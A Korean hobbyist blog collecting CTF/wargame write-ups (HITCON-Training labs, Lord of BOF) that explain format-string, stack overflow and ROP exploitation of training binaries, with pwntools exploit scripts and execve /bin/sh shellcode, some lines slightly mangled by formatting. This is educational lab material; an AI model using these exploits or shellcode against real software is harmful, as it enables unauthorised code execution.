끈질기게 물고늘어져 겨우 풀이를 이해한 CodeByO입니다. 이렇게 문제푸는데 전력을 다하니 좋기도 하고 자괴감도 많이 드네요ㅋㅋㅋㅋ


새해를 맞이하며 기록을 시작하도록 하겠습니다.

1.분석


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <unistd.h>
#include <time.h>
#include <stdlib.h>
 
unsigned int password ;
 
int main(){
 
        setvbuf(stdout,0,2,0);
        char buf[100];
        char input[16];
        int fd ;
        srand(time(NULL));
        fd = open("/dev/urandom",0);
        read(fd,&password,4);
        printf("What your name ? ");
        read(0,buf,99);
        printf("Hello ,");
        printf(buf);
        printf("Your password :");
        read(0,input,15);
        if(atoi(input) != password){
                puts("Goodbyte");
        }else{
                puts("Congrt!!");
                system("cat /home/crack/flag");
        }
}
 
cs


주어진 소스코드를 살펴보면 일단 오버플로우 나는것도 없는거 같고 있다고 해도



까나리나 NX가 걸려있어 오버플로우는 아니라는걸 확신할 수 있으며 이번 문제는 포맷 스트링을 이용해 익스 플로잇을 할 수 있냐 없냐를 물어보는 문제인거 같습니다.


2.풀이


이제 자세히 소스코드를 보면 20번 줄에 printf(buf); 부분이 있는데요. 포맷 스트링 취약점의 개념을 접해보신 분들이라면 바로 여기에서 취약점이


발생한다고 아실겁니다.


그리고 저희는 password값을 알아내서 input 변수에 넣어줘야되는 상황이니 아무런 쓸모도 없을 수 있는 이 취약점을 아주 잘 요리할 수 있죠.


푸는 방법은 2가지가 있습니다.


1. password 값을 우리가 원하는 값으로 변경시켜 그 값을 input에 집어 넣는다.


2. password 값을 직접 알아내서 그 값을 input에 넣는다.


등등..일단 제가 소개 시켜드릴 방법은 이 두가지 입니다.

(첫번째 방식을 원래 포스팅 할려고 했으나 갓갓인 친구가 어려운 포맷 스트링 문제에선 안먹힌다고 해서 두가지 전부 설명드릴 예정입니다.)


일단 두 가지 방법을 모두 시행하기 위해서 필수적으로 알아야하는 값이 있습니다.


바로 OFFSET인데요.


포맷 스트링을 넣어 buf가 실제 스택에 어디있냐를 알아야 정확히 값을 씌우거나 그 값을 불러올 수 있습니다.


구하는 방법은 매우 간단한데요.



소스 크기도 적어서 그냥 실행 하고 buf 에 AAAA를 집어 넣은다음 %8x를 12번 정도 입력하니 10번째에서 A의 아스키코드인 41이 출력되는걸 확인할 수 있습니다.


결론은 offset 값은 10라는 거죠.


이제 pwntools에 fmtstr_payload 함수를 이용해(사용 방법은 http://docs.pwntools.com/en/stable/fmtstr.html 참고)


1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context.log_level = 'debug'
cn = process('./crack')
p_pwd = 0x0804A048
fmt_len = 10
cn.recv()
pay = fmtstr_payload(fmt_len,{p_pwd:1})
cn.sendline(pay)
cn.recv()
cn.sendline('1')
cn.recv()
cn.recv()
cs


password 값을 1로 바꿔 input에 1을 보내면서 우회할 수 있고


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
 
 
proc = process("./crack")
 
password_addr = 0x804a048
proc.recvuntil("?")
 
 
proc.sendline(p32(password_addr) + "#" + "%10$s" + "#" )
proc.recvuntil("#")
= proc


.recvuntil("#")
password = u32(p[:4])
proc.recvuntil(":")
proc.sendline(str(password))
proc.interactive()
 
cs


buf에 password 주소를 넣고 %10$s을 이용해 바로 10번째 자리에 있는 값을 불러와서 보내줍니다.


페이로드를 해석해보면 그냥 %10$s를 이용해 바로 10칸뒤에 값을 가져오며


소스코드에서 read(fd,password,4)로 4바이트만 저장됬으니 #을 경계점으로 p[ :4]를 이용해 쉽게 password값을 읽어왔습니다.


이걸 문자열로 input에 보내면?



깔끔하게 성공~!

'포너블 > HITCON-Training' 카테고리의 다른 글

HITCON-Training lab5  (0) 2017.12.31
HICON-Training lab1  (0) 2017.12.17
HICON-Training lab3  (0) 2017.11.29

이번 문제로 ROP란것이 무엇인지 확실히 알게됬다고 생각하는 CodeByO입니다.


확실히 다른 문제에 비해 코드로만 풀이가 되어있으니 스스로 생각하거나 삽질하는 능력이 많이 향상되는거 같네요


그럼! 바로 시작하도록 하겠습니다.

1.분석

이번 문제의 이름은 simplerop로 rop기법을 할 수 있는지 없는지 물어보는 문제인듯합니다.


코드는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
 
int main(){
        char buf[20];
        puts("ROP is easy is'nt it ?");
        printf("Your input :");
        fflush(stdout);
        read(0,buf,100);
 
}
 
cs

매우 간단하며 



buf는 20바이트인데 비해 read함수로 100만큼 받아 오버플로우가 발생한다는걸 알 수 있습니다.


그리고 NX가 걸려있어서 스택이나 힙영역을 사용하지 못한다는것도 확인할 수 있습니다.


2.풀이


우 간단한 문제여서 여러 방법을 사용할 수 있지만 저는 mprotect함수를 사용해 bss에 실행권한을 줘서


read함수로 bss에 쉘코드를 넣은다음 bss를 실행하는 페이로드를 짜봤습니다.


먼저 위 분석화면에서 main+54부분에서 buf함수가 0x1C 즉, 28바이트로 할당되있다는것을 알 수 있으며,


buf+dummy+sfp까지 하면 총 32바이트에 dummy값을 넣어주면 된다는 계산이 나옵니다.


처음 buf가 28바이트라는걸 알았을때 제가 쓸 쉘코드는 23바이트라 buf에도 해도 된다는 생각이 들었지만 ASLR때문에 bss를 써야되더군요;;


이제 read함수 주소와 인자를 정리해줄 pppr 그리고 mprotect함수 주소, bss주소만 구해주시면 페이로드를 만드실 수 있습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
 
elf = ELF("./simplerop")
= process("./simplerop")
 
mprotect_addr = 0x0806d870
read_addr = 0x0806cd50
bss_addr = 0x080eaf90
p3r = 0x080bd6c6
leng = 23
prot = 7
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
dummy = "A"*32
payload = dummy
payload += p32(read_addr)
payload += p32(p3r)
payload += p32(0)
payload += p32(bss_addr)
payload += p32(leng)
payload += p32(mprotect_addr)
payload += p32(bss_addr)
payload += p32(leng)
payload += p32(prot)
 
p.recvuntil(":")
p.sendline(payload)
 
sleep(0.1)
p.sendline(shellcode)
 
p.interactive()
cs




그래서 해봤는데.....! 이번에도 명령어가 제데로 동작하지 않더군요ㅠㅠ 기존에 있던 풀이는 너무 난해해서 해석이 불가능 했고요;;


일단 기록겸해서 먼저 올리고 다른 방법을 강구해볼려고 합니다. 기본적인 bss에 /bin/sh문자열 넣고 system()로 콜하는게 있었지만

system() 주소가 표시가 안되 오프셋으로 구하는 방법을 또 사용해야되서 다른방법을 쓴거였지만


이번에 오프셋으로 주소 구하는법을 어렴풋 배워서 내일 한번 시도해볼려고 합니다.


아무튼 기록은 여기서 끝~!



'포너블 > HITCON-Training' 카테고리의 다른 글

HITCON-Training lab7  (0) 2018.01.01
HICON-Training lab1  (0) 2017.12.17
HICON-Training lab3  (0) 2017.11.29

뭔가 글쓰고하는게 굉장히 오랜만인 느낌이네요..ㄷㄷ


12월이 송년회가 있으니 알바가 훨씬 바빠서 일은 익숙해 졌지만 매일 녹초가 된다음 12시쯤 귀가입니다ㅠㅠ(빨리 관두고 일본가고싶다아아)

공부는 하고 싶어도~ 풀이 봐도 뭔말인지도 모르겠지~ 시간도 없지~ 변명은 많지~;;;


일단 저번에 lab3은 올렸지만 lab1은 안올려서 lab1을 올려볼려고 합니다.


1. 분석



일단 문제 이름은 sysmagic이며 코드는 위 사진과 같습니다.


처음에 저 password를 어떻게 맟춰야될까...고민을 했지만 저 연산을 굳이 password를 안맟춰도 소스를 수정해 if문만 지워버리면 할 수 있다는걸 깨닫고 바로 풀어버렸습니다ㅋㅋㅋㅋㅋ


2. 풀이




3. 결론

플래그 내용을 보면 debugger is so powerful in dynamic analysis! 라고 적혀있는거 보니까 원래는 동적분석으로 푸는것 같지만 저는 약간 치트?를 이용해서 풀었네요ㅋㅋ


HITCON-Training을 다 끝내면 한번 동적분석으로 풀어보는걸로 해보고 lab1의 풀이는 여기서 마치도록하겠습니다!

'포너블 > HITCON-Training' 카테고리의 다른 글

HITCON-Training lab7  (0) 2018.01.01
HITCON-Training lab5  (0) 2017.12.31
HICON-Training lab3  (0) 2017.11.29

이번에 팀 Zer0mous에서 실력향상을 위해 HITCON-Training 을 풀기로 했습니다. 현재 포너블을 주로 하는분이 저를 포함해


2명이라 저는 홀수번을 하고 짝수는 JSbach님이 하시며 http://bachs.tistory.com/entry/HITCON-Training-lab2-shellcraft?category=961837


여기에 올려질 예정입니다.ㅎㅎ




1. 분석




일단 32비트로 만들어져있고 별다른 방어기법이 적용되지 않은 걸 확인했습니다. 또 소스 분석을 위해 IDA로 열어보면


먼저 name을 표준 입력으로 받고 나중에 gets 함수로 입력값을 받아 s 에 저장하는걸 알 수 있습니다.

read함수는 입력값이 정해져있지만 gets함수는 enter가 눌러질때 까지 받는다는 점이 있어 오버 플로우가 발생할 수 있으며 


이번 문제는 기초적인 버퍼오버플로우를 할 수 있냐 없냐를 알아보는 문제인거 같습니다.


방법은 여러가지 있지만 간단하게 shellcode를 name에 넣고 s에는 그냥 name시작 주소를 넣는것으로 쉘을 딸려고 합니다.



일단 적당한곳에 브포를 걸어주고 값을 입력하면 peda라는 멋진 시스템이 알아서 인자가 입력된곳 == name시작주소를 찾아줍니다.



그래서 pwntools로 간편하게 작성하였습니다. payload에 name주소를 100번 넣어주는 이유는 굳이 더미 값 계산하지 않아도 100번 정도면 충분히 RET

까지 덮을 수 있으니 그냥 넣었습니다.ㅎㅎ



그래서 하면 성ㄱ.....하.....

 JSbach님 컴으로 같은 코드를 실행했는데 JSbach님은 아주 잘되더라고요.

뭐지 왜 나만 안되지...


어쨌든! sh도 불러왔고 했으니

이번에는 넘어가도록.....


하...담 문제는 잘됬으면 하는 마음입니다ㅠㅠ



'포너블 > HITCON-Training' 카테고리의 다른 글

HITCON-Training lab7  (0) 2018.01.01
HITCON-Training lab5  (0) 2017.12.31
HICON-Training lab1  (0) 2017.12.17

%공지%


이제 올릴려고 했던 orge가 생각보다 삽질이 심해서 주말에 제데로 다시 푼다음 올릴려고 합니다.

'포너블 > Lord Of BOF' 카테고리의 다른 글

LOB 7번 darkelf  (0) 2017.11.06
LOB 6번 wolfman  (0) 2017.11.02
LOB 5번 orc  (0) 2017.10.31
LOB 4번 goblin  (0) 2017.10.30
LOB 3번 cobolt  (0) 2017.10.02


크 빨리 끝내야되는데....글올리기가..ㅋㅋㅋㅋ


빨리 시작하도록 하죠ㅎ



이번 문제는 저번과 동일한 방식과 풀면 되지만 한가지 다른 것이있습니다.


바로 argv[0] 길이값을 검사한다는 점이죠.


argv[0]의 길이가 77이 아니면 argv error문자열을 출력하는데


argv[0]의 영역은 ./[elf_File] 여기영역이라 .와/을 제외한 75문자만 아무거나 채워주면 됩니다ㅋㅋ




이렇게 바꾸면 이번에 변경된것도 우회를 했으니 나머지는 argv[2]로 풀면 해결됩니다.



이번에도 복사한 파일이 아니라 원본파일로 해서 안되버린 한심한 짓을 했는데요


정상적으로 하면 아주 잘될겁니다.


그럼! 오늘은 여기서 마치도록 하겠습니다.


'포너블 > Lord Of BOF' 카테고리의 다른 글

LOB 8번 orge  (0) 2017.11.09
LOB 6번 wolfman  (0) 2017.11.02
LOB 5번 orc  (0) 2017.10.31
LOB 4번 goblin  (0) 2017.10.30
LOB 3번 cobolt  (0) 2017.10.02


어제는 집에서 노트북 키기 귀찮아서 안했...읍읍


...이! 아니라 어제 극동대학교 최종합격 발표나서 하루정도는 쉬고 싶었습니다.ㅋㅋㅋ


그럼 바로 시작해보도록 하죠ㅎ



egghunter에 buffer hunter에 argv[1]길이 체크까지~! 하지만 그런거 상관없습니다.  왜냐 저희에게는 argv[2]라는 환상향의 공간이 있기때문..!!


그럼 저번 문제와 동일하게 진행하도록 하겠습니다.!




argv[1]길이 체크 걸리지 전 부분에 브포를 걸어야 되는거 잊지 마세요!



흐흐흐..찾았습니다ㅎㅎㅎㅎㅎ



이 문제도 제가 바보같이 못풀었던 문제입니다. argv[2]부분에 \x90을 넣어주는 이유는 실제 주소와 많은 차이가 날 수 있으니 nop으로 채우고 그 뒤에 쉘코드가 실행되게 하는겁니다. RET에 쓸 주소도 분석단계에서 구한 주소보다는 조금 값을 더한 주소죠.



저때는 짜증나서 풀이 있던거 그대로 가져왔는데 그냥 성공했었습니다ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ



끝~! 오늘도 날로 먹은 느낌이 들지만 그냥 느낌이겠죠!캬캬캬


그럼 오늘은 여기까지!!



'포너블 > Lord Of BOF' 카테고리의 다른 글

LOB 8번 orge  (0) 2017.11.09
LOB 7번 darkelf  (0) 2017.11.06
LOB 5번 orc  (0) 2017.10.31
LOB 4번 goblin  (0) 2017.10.30
LOB 3번 cobolt  (0) 2017.10.02

오늘은 orc입니다. 이번 문제는 쉘 띄우기에 실패했었는데요

LOB포스팅이 완료되고 다시 제데로 쉘을 띄우지 못했던 문제를 다시 해보거나 할 예정입니다.




이번 문제는 예전 문제에 있었던 egghunter과 함께 buffer hunter 까지 있는 문제 입니다.


저번 문제를 buf주소에 쉘코드에 넣고 RET에 buf주소를 쓰셨던 분들에게는 매우 혼란스럽겠지만


다행이도 저는 argv[2] 공간을 이용하는 신박한 방법으로 풀었기 때문에 이번문제도 저번문제와 별 다를게 없습니다.



이렇게 주소를 구하고



바로 익스하면 운 좋으시면 바로 쉘이 뜹니다.


그러나 주소 차이로 안되는 경우도 있는데


이럴경우에는 core dump한것을 분석해서 정확한 주소를 구하시고 다시 익스 하시면 됩니다.


참 쉽죠?


오늘은 여기까지~!



'포너블 > Lord Of BOF' 카테고리의 다른 글

LOB 7번 darkelf  (0) 2017.11.06
LOB 6번 wolfman  (0) 2017.11.02
LOB 4번 goblin  (0) 2017.10.30
LOB 3번 cobolt  (0) 2017.10.02
LOB 2번 gremlin  (0) 2017.10.01

오랜만에 LOB로 글을 올립니다. 10월달은 계속 대학면접이라 시간이 많이 없었습니다.;;;

그래도 합격발표가 11월 초에 난다는 것과 마지막 면접날이 11월 말이라.... 이제 운동이나 밀렸던 기록이나 올려야죠


LOB는 일단 빨리 끝내고 싶어서 풀이보면서 끝냈습니다.(어차피 그러지 않았더라도 풀이는 봤겠지만요...)


 풀이를 봐도 실제 메모리 주소의 차이때문에 core dump보면서 풀어야 됬었지만 풀때 안나와서 뭐지...하고 있었는데

 

제가 복사한 파일에만 core dump가 뜨는걸 나중에 알아서 다시 풀어야되는 문제들도 몇 문제 있다죠...


일단은 차차 올리도록 하겠습니다.




이번에는 egghunter라고 환경변수를 초기화 해주는 함수가 있어 에그쉘의 사용은 안될거 같습니다.



memset함수로 완전 초기화 해버리네요....



일단 분석을 위해 tmp디렉에 파일을 복사했습니다.


저는 원래 buf공간이 충분하니 여기에다가 shellcode를 넣고 RET주소를 buf로 덮어씌울려고 헀지만

풀이에서는 argv[2]라는 신박한 공간을 사용해서 익스를 진행해서 그방법을 사용해 볼려고 합니다.



먼저 argv[]는 입력값에 따라 용량(?)이 변하기 때문에 argv[2]의 주소를 구하기 위해서는 최대한 비슷한 익스코드를 입력할

필요가 있습니다. argv[1]에는 \xbf를 argv[2]에는 \x90을 넣어줬습니다.



90부터 시작하는 주소가 argv[2] 시작주소 라고 할 수 있는데요. 주소 차이가 날 수 있으니 0xbffffc61주소를 사용했습니다.



나가서 bash2로 바꿔줍니다.



깔끔하게(?) 쉘을 얻었고요



성공~! 오늘은 여기까지 하겠습니다. 무리하게 올리는것 보다 하루에 하나씩 올릴려고 합니다ㅎㅎㅎ


'포너블 > Lord Of BOF' 카테고리의 다른 글

LOB 6번 wolfman  (0) 2017.11.02
LOB 5번 orc  (0) 2017.10.31
LOB 3번 cobolt  (0) 2017.10.02
LOB 2번 gremlin  (0) 2017.10.01
LOB 1번 gate  (0) 2017.09.29

오늘은 cobolt입니다~! 추석이라 이렇게 기록을 올릴 수 있는거 같네요ㅋㅋㅋㅋㅋㅋ





노트북으로는 하나도 안풀었는데 데탑으로 다 풀었나 보네요..ㄷ


저번 문제처럼 Direct Overwrite RET를 쓰면 되는데요 이번에는 gets함수라는게 제일 주의해야될 점입니다.


저번 문제는 인자로 주면 되서 뒤에 잘 쓰면 됬지만

이번에 gets함수는 엔터를 입력할때까지 받기 때문에 파이프로 날려줘야 됩니다.


또한 그냥 보내면 실행되고 바로 종료되기때문에 다시 실행해주는 cat명령어까지 넣어주면 완벽해집니다.




일단 에그쉘 주소 구하고요



성공~!



오늘은 여기서 마치도록 하겠습니다~!


'포너블 > Lord Of BOF' 카테고리의 다른 글

LOB 5번 orc  (0) 2017.10.31
LOB 4번 goblin  (0) 2017.10.30
LOB 2번 gremlin  (0) 2017.10.01
LOB 1번 gate  (0) 2017.09.29
LOB 시작하기  (0) 2017.09.29

+ Recent posts